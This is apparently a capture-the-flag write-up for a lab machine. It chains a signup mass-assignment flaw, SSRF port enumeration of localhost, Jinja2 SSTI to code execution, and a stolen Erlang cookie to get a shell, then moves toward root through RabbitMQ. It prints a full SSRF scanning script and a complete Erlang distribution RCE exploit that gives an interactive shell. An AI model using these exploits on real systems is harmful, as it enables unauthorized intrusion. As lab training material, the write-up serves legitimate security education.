If we had tried to log in, we would have noticed the subdomain. We click on Signup and create an account.
After we have logged in with our created account, we see that the services are only available for internal users and our newly created account has to be activated by an administrator.
Privileged Web Access
We find a jwt token in our cookies.
We inspect the token using jwt.io and see that the subscription is also defined in it. Unfortunately, changing the token does not help, as the signature would no longer be valid.
We go back one step and create another account and inspect the request using Burp Suite. We see that email and password are transmitted in plain text in JSON.
We simply add the attribute "subscription": "active" in the hope that this will be taken into account when the token is created and that we have a JWT token forgery vulnerability in front of us.
After we have created the account, we log in and inspect the token. The set attribute of the subscription has indeed been taken into account.
We are now able to use the services. Including a file upload.
However, this does not appear to be vulnerable...
API Docs via SSRF
We noticed the /api/ path during registration and are looking for further API endpoints. We enumerate these using FFuF. Here we find /api/docs, among others. Perhaps there are others that we cannot find with our wordlist.
If we scroll down a little further we also find an upload via URL. Server side request forgery could be possible here. And perhaps we could then use it to call up http://storage.cloudsite.thm/api/docs.
Firstly, we test it with our web server.
And see the request made.
Next we try to access the /api/docs endpoint locally on port 80:
http://127.0.0.1:80/api/docs
We receive an upload path. But port 80 does not seem to be the API endpoint.
We use a script to find more services on other ports on localhost. To do this, we simply check whether the requested service gives us a download link.
enum-services.py
import requests
# Base URL and endpoint
base_url = "http://storage.cloudsite.thm/api/store-url"
# Headers
headers = {
"Cookie": "jwt=REDACTED",
"Content-Type": "application/json"
}
# Function to make POST request to a specific port
def make_request(port):
# URL to test
test_url = f"http://127.0.0.1:{port}"
data = {"url": test_url}
try:
# Make the POST request
response = requests.post(base_url, headers=headers, json=data)
# Check if the response contains a non-empty "path"
if response.status_code == 200:
json_response = response.json()
if "path" in json_response and json_response["path"]:
print(f"Port: {port}, Path: {json_response['path']}")
except requests.RequestException as e:
# Handle potential request errors
print(f"Error on port {port}: {e}")
# Iterate over a range of ports (1 to 65535)
for port in range(1, 65536):
make_request(port)
And there is another service running on port 3000.
We make a request for http://127.0.0.1:3000/api/docs...
... And we recieve the documentation with the endpoint /api/fetch_messeges_from_chatbot, which is still under development.
Endpoints Perfectly Completed
POST Requests:
/api/register - For registering user
/api/login - For loggin in the user
/api/upload - For uploading files
/api/store-url - For uploadion files via url
/api/fetch_messeges_from_chatbot - Currently, the chatbot is under development. Once development is complete, it will be used in the future.
GET Requests:
/api/uploads/filename - To view the uploaded files
/dashboard/inactive - Dashboard for inactive user
/dashboard/active - Dashboard for active user
Note: All requests to this endpoint are sent in JSON format.
SSTI to RCE
We try to make a request, but GET methods are not allowed.
We capture our GET request using Burp Suite...
... and change it to a POST request using Burp. We get a message, that the token is required, we removed.
We add the token, and a username parameter is required.
Since the error message is JSON, and we know the format from the login as JSON, we also provide the username in JSON. Our username gets reflected.
We simply test for Server Side Template Injection (SSTI) and it gets evaluated.
We use a payload from Ingo Kleiber to test for RCE on Flask (Jinja2) SSTI and are successful.
If we ask ChatGPT about the output we get some more information. It might be related to RabbitMQ and Erlang. RabbitMQ is an open-source message broker that enables applications to communicate using a queue-based messaging system, supporting multiple protocols like AMQP. It is used for distributed systems, event-driven architectures, and microservices to decouple and scale workloads efficiently.
ChatGPT:
This log appears to represent a series of shell commands being executed by the user with UID 124, involving RabbitMQ and the Erlang environment, specifically invoking various Unix shell commands. The frequent appearance of sh -c exec /bin/sh -s unix:cmd suggests the use of shell scripts or commands being run in response to Unix system-level interactions.
Several commands reference Erlang's epmd (Erlang Port Mapper Daemon), which indicates that RabbitMQ (built on top of Erlang) is likely being managed or configured. The sequence where Erlang's beam.smp and epmd are invoked points to RabbitMQ processes being started, stopped, or checked. Additionally, these may involve DNS queries or hostname resolution (inet_gethost commands).
This log suggests the orchestration of processes related to RabbitMQ and possibly diagnostics or system administration tasks within an environment relying heavily on Erlang.
If you’re analyzing this for potential security or performance issues, I’d suggest investigating why multiple sh shells are being spawned and what commands are being passed to the Unix shell to ensure there is no unintended behavior or vulnerability exploitation. Is this part of your current challenge or a live environment
A look into the /etc/passwd file confirms, that there is the user rabbitmq.
At /var/lib/rabbitmq/ we can find an erlang cookie.
This cookie might enable us to get RCE via Erlang.
The following repository contains several exploits regarding Erlang with RabbitMQ. One of which would allow us RCE: shell-erldp.py.
But we receive errors on running the exploit.
For a fix we use ChatGPT to add verbose debugging and error handling:
shell-erldp2.py
#!/usr/bin/env python2
from struct import pack, unpack
from cStringIO import StringIO
from socket import socket, AF_INET, SOCK_STREAM, SHUT_RDWR
from hashlib import md5
from binascii import hexlify, unhexlify
from random import choice
from string import ascii_uppercase
import sys
import argparse
import erlang as erl
def rand_id(n=6):
return ''.join([choice(ascii_uppercase) for c in range(n)]) + '@nowhere'
parser = argparse.ArgumentParser(description='Execute shell command through Erlang distribution protocol')
parser.add_argument('target', action='store', type=str, help='Erlang node address or FQDN')
parser.add_argument('port', action='store', type=int, help='Erlang node TCP port')
parser.add_argument('cookie', action='store', type=str, help='Erlang cookie')
parser.add_argument('--verbose', action='store_true', help='Output decode Erlang binary term format received')
parser.add_argument('--challenge', type=int, default=0, help='Set client challenge value')
parser.add_argument('cmd', default=None, nargs='?', action='store', type=str, help='Shell command to execute, defaults to interactive shell')
args = parser.parse_args()
name = rand_id()
sock = socket(AF_INET, SOCK_STREAM, 0)
assert(sock)
sock.connect((args.target, args.port))
def send_name(name):
FLAGS = (
0x7499c +
0x01000600 # HANDSHAKE_23|BIT_BINARIES|EXPORT_PTR_TAG
)
return pack('!HcQIH', 15 + len(name), 'N', FLAGS, 0xdeadbeef, len(name)) + name
sock.sendall(send_name(name))
data = sock.recv(5)
assert(data == '\x00\x03\x73\x6f\x6b')
data = sock.recv(4096)
(length, tag, flags, challenge, creation, nlen) = unpack('!HcQIIH', data[:21])
assert(tag == 'N')
assert(nlen + 19 == length)
challenge = '%u' % challenge
def send_challenge_reply(cookie, challenge):
m = md5()
m.update(cookie)
m.update(challenge)
response = m.digest()
return pack('!HcI', len(response)+5, 'r', args.challenge) + response
sock.sendall(send_challenge_reply(args.cookie, challenge))
data = sock.recv(3)
if len(data) == 0:
print('wrong cookie, auth unsuccessful')
sys.exit(1)
else:
assert(data == '\x00\x11\x61')
digest = sock.recv(16)
assert(len(digest) == 16)
print('[*] authenticated onto victim')
# Protocol between connected nodes is based on pre 5.7.2 format
def erl_dist_recv(f):
hdr = f.recv(4)
if len(hdr) != 4: return
(length,) = unpack('!I', hdr)
data = f.recv(length)
if len(data) != length: return
# Remove 0x70 from the head of the stream
data = data[1:]
print("Received data to parse: %s" % data) # Logging the raw data
while data:
try:
(parsed, term) = erl.binary_to_term(data)
if parsed <= 0:
print('Failed to parse Erlang term, raw data: %s' % data)
break
except erl.ParseException as e:
print('ParseException occurred: %s. Data: %s' % (str(e), data))
break
print("Parsed term: %s" % str(term)) # Log parsed term for debugging
yield term
data = data[parsed:]
def encode_string(name, type=0x64):
return pack('!BH', type, len(name)) + name
def send_cmd_old(name, cmd):
data = (unhexlify('70836804610667') +
encode_string(name) +
unhexlify('0000000300000000006400006400037265') +
unhexlify('7883680267') +
encode_string(name) +
unhexlify('0000000300000000006805') +
encode_string('call') +
encode_string('os') +
encode_string('cmd') +
unhexlify('6c00000001') +
encode_string(cmd, 0x6b) +
unhexlify('6a') +
encode_string('user'))
return pack('!I', len(data)) + data
def send_cmd(name, cmd):
# REG_SEND control message
ctrl_msg = (6,
erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
erl.OtpErlangAtom(''),
erl.OtpErlangAtom('rex'))
msg = (
erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
(
erl.OtpErlangAtom('call'),
erl.OtpErlangAtom('os'),
erl.OtpErlangAtom('cmd'),
[cmd],
erl.OtpErlangAtom('user')
))
new_data = '\x70' + erl.term_to_binary(ctrl_msg) + erl.term_to_binary(msg)
print("Sending command data: %s" % new_data) # Log the command being sent
return pack('!I', len(new_data)) + new_data
def recv_reply(f):
terms = [t for t in erl_dist_recv(f)]
if args.verbose:
print('\nReceived terms: %r' % (terms))
if len(terms) < 2:
print("Error: Unexpected number of terms received")
return None
answer = terms[1]
if len(answer) != 2:
print("Error: Unexpected structure in answer")
return None
return answer[1]
if not args.cmd:
while True:
try:
cmd = raw_input('%s:%d $ ' % (args.target, args.port))
except EOFError:
print('')
break
sock.sendall(send_cmd(name, cmd))
reply = recv_reply(sock)
if reply:
sys.stdout.write(reply)
else:
print("Failed to receive a valid reply")
else:
sock.sendall(send_cmd(name, args.cmd))
reply = recv_reply(sock)
if reply:
sys.stdout.write(reply)
else:
print("Failed to receive a valid reply")
print('[*] disconnecting from victim')
sock.close()
We use the our customized shell-erldp2.py and are able to get an instable shell.
We get a connection back and are the user rabbitmq.
Shell as root
Since we are now the rabbitmq user, we could issue RabbitMQ commands with rabbitmqctl. One of the ideas could be to retrieve the users and passwords to check if they are reused. But we get an error. The .erlang.cookie is not only owned by the owner itself. With that issue we are not able to execute rabbitmqctl commands.
Nevertheless, we can view the rabbit_user.DCD. This file is part of the RabbitMQ database. There is a message indicating that the root user's password is the same as the SHA-256 hash of the RabbitMQ root user's password.
Alternatively, we can also correct the permissions of the Erlang cookie, which will be necessary for later use.
When reading up on how RabbitMQ works, we find the rabbit definitions that we can export as admin. Those include the password_hash mentiond in the users file. The idea now is to create an admin user and get the definitions with this user.
Since we have already corrected the authorizations for the Erlang cookie, we can create the user and export the definitions.